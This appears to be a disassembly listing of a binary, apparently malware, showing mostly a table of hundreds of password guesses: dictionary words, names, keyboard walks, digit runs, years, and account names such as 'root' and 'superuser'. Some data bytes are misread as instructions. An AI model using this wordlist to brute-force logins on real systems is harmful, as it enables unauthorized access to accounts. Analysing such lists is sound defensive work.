		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_0	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
; ---------------------------------------------------------------------------
		sal	bh, 1
		inc	edx
		add	ah, al
		test	dword ptr [edx+0], offset aWindows98 ; "windows98"
		lodsb
		test	dword ptr [edx+0], offset aWindozexp ; "windozexp"
		xchg	eax, esp

loc_42DD9D:				; CODE XREF: seg000:0042DDA4j
		test	dword ptr [edx+0], offset aWindozeme ; "windozeME"
		jl	short loc_42DD9D
		inc	edx
		add	[eax-9], dh
		inc	edx
		add	[eax-9], ch
		inc	edx
		add	[edi+esi*8+42h], ah
		add	[edi+esi*8+42h], bl
		add	[eax-9], bl
		inc	edx
		add	[eax-9], dl
		inc	edx
		add	[eax-9], cl
		inc	edx
		add	[edi+esi*8], bh
		inc	edx
		add	[eax], dh
		test	dword ptr [edx+0], offset aAda ; "ada"
		and	bh, dh
		inc	edx
		add	[edi+esi*8], bl
		inc	edx
		add	[eax], bl
		test	dword ptr [edx+0], offset aAmorphous ; "amorphous"
		or	bh, dh
		inc	edx
		add	ah, bh
		test	byte ptr [edx+0], 0F8h
		test	byte ptr [edx+0], 0E8h
		test	byte ptr [edx+0], 0E4h
		test	byte ptr [edx+0], 0E0h
		test	byte ptr [edx+0], 0D4h
		test	byte ptr [edx+0], 0C8h
		test	byte ptr [edx+0], 0BCh
		test	byte ptr [edx+0], 0B8h
		test	byte ptr [edx+0], 0B4h
		test	byte ptr [edx+0], 0B0h
		test	byte ptr [edx+0], 0A4h
		test	byte ptr [edx+0], 0A0h
		test	byte ptr [edx+0], 94h
		test	byte ptr [edx+0], 88h
		test	byte ptr [edx+0], 7Ch
		test	byte ptr [edx+0], 70h
		test	byte ptr [edx+0], 64h
		test	byte ptr [edx+0], 58h
		test	byte ptr [edx+0], 54h
		test	byte ptr [edx+0], 48h
		test	byte ptr [edx+0], 3Ch
		test	byte ptr [edx+0], 38h
		test	byte ptr [edx+0], 34h
		test	byte ptr [edx+0], 28h
		test	byte ptr [edx+0], 1Ch
		test	byte ptr [edx+0], 10h
		test	byte ptr [edx+0], 4
		test	byte ptr [edx+0], 0F8h
		cmc
		inc	edx
		add	ah, ch
		cmc
		inc	edx
		add	al, ah
		cmc
		inc	edx
		add	ah, dl
		cmc
		inc	edx
		add	al, dl
		cmc
		inc	edx
		add	ah, cl
		cmc
		inc	edx
		add	al, cl
		cmc
		inc	edx
		add	[ebp+esi*8-0A47FFBEh], bh
		inc	edx
		add	[ebp+esi*8-0A5FFFBEh], ch
		inc	edx
		add	[ebp+esi*8-0A67FFBEh], bl
		inc	edx
		add	[esp+eax*4], bh
		inc	edx
		add	[ebp+esi*8-0A77FFBEh], dl
		inc	edx
		add	[ebp+esi*8-0A7FFFBEh], al
		inc	edx
		add	[ebp+esi*8+42h], dh
		add	[eax-0Bh], dh
		inc	edx
		add	[ebp+esi*8+42h], ch
		add	[eax-0Bh], ch
		inc	edx
		add	[ebp+esi*8+42h], ah
		add	[eax-0Bh], bl
		inc	edx
		add	[eax-0Bh], cl
		inc	edx
		add	[ebp+esi*8+42h], al
		add	[eax-0Bh], al
		inc	edx
		add	ds:0F5280042h[esi*8], dh
		inc	edx
		add	ds:0F5100042h[esi*8], bl
		inc	edx
		add	ds:0F4F80042h[esi*8], al
		inc	edx
		add	ah, dh
; ---------------------------------------------------------------------------
		db 0F4h, 42h, 0
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_42F3E8
		dd offset dword_42F3E4
		dd offset dword_42F3E0
		dd offset dword_42F3DC
		dd offset dword_42F3D4
		dd offset dword_42F3CC
		dd offset dword_42F3C4
		dd offset dword_42F3B8
		dd offset loc_4263DB+1
		dd offset dword_42F3B4
		dd offset off_42F3B0
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_42F3A4	; "+"
		dd offset asc_42F3A0	; "++"
		dd offset asc_42F39C	; "+++"
		dd offset asc_42F394	; "++++"
		dd offset asc_42F390	; "-"
		dd offset asc_42F38C	; "--"
		dd offset asc_42F38C	; "--"
		dd offset asc_42F384	; "----"
		dd offset asc_42F380	; "-+"
		dd offset asc_42F378	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_42F360	; "$"
		dd offset asc_42F35C	; "$$"
		dd offset asc_42F358	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset dword_4263F0
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_426CB0	; "*"
		dd offset asc_42F308	; "**"
		dd offset asc_42F304	; "***"
		dd offset asc_42F2FC	; "****"
		dd offset asc_42F2F4	; "*****"
		dd offset asc_42F2EC	; "******"
		dd offset asc_42F2E4	; "*******"
		dd offset asc_42F2D8	; "********"
		dd offset asc_42F2CC	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_1		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer_0	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset off_42EC6C
		dd offset aChi		; "chi"
		dd offset aKor_0	; "kor"
		dd offset aTiger	; "tiger"
		dd offset aKor		; "KOR"
		dd offset aToyota_0	; "TOYOTA"
		dd offset aToyota	; "toyota"
		dd offset asc_432C64	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset aAsd		; "asd"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
; ---------------------------------------------------------------------------
		adc	ah, ch
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	al, bh
		jmp	short loc_42E4B9
; ---------------------------------------------------------------------------
		align 4
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
		dd offset aRfv		; "rfv"
		dd offset aB_0		; "b"
		dd offset aBb		; "bb"
; ---------------------------------------------------------------------------
		fsub	st(3), st
		inc	edx
		add	ah, dl
		jmp	short loc_42E4D9
; ---------------------------------------------------------------------------
		align 4
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
; ---------------------------------------------------------------------------
		mov	esp, 0B00042EBh
		jmp	short loc_42E4E9
; ---------------------------------------------------------------------------
		align 4
		movsb
		jmp	short loc_42E4ED
; ---------------------------------------------------------------------------
		align 4
		mov	al, ds:9C0042EBh
		jmp	short loc_42E4F5
; ---------------------------------------------------------------------------
		align 4
		cwde
		jmp	short loc_42E4F9
; ---------------------------------------------------------------------------
		align 4
		db 90h
; ---------------------------------------------------------------------------

loc_42E4B9:				; CODE XREF: seg000:0042E475j
		jmp	short loc_42E4FD
; ---------------------------------------------------------------------------
		align 4
		mov	bl, ch
		inc	edx
		add	[eax+780042EBh], al
		jmp	short loc_42E509
; ---------------------------------------------------------------------------
		align 4
		dd offset aCccccccc	; "cccccccc"
; ---------------------------------------------------------------------------
		pusha
		jmp	short loc_42E511
; ---------------------------------------------------------------------------
		align 10h
		pop	esp
		jmp	short loc_42E515
; ---------------------------------------------------------------------------
		align 4
		dd offset aDd_2		; "dd"
; ---------------------------------------------------------------------------
		push	esp

loc_42E4D9:				; CODE XREF: seg000:0042E495j
		jmp	short loc_42E51D
; ---------------------------------------------------------------------------
		align 4
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
; ---------------------------------------------------------------------------
		inc	eax
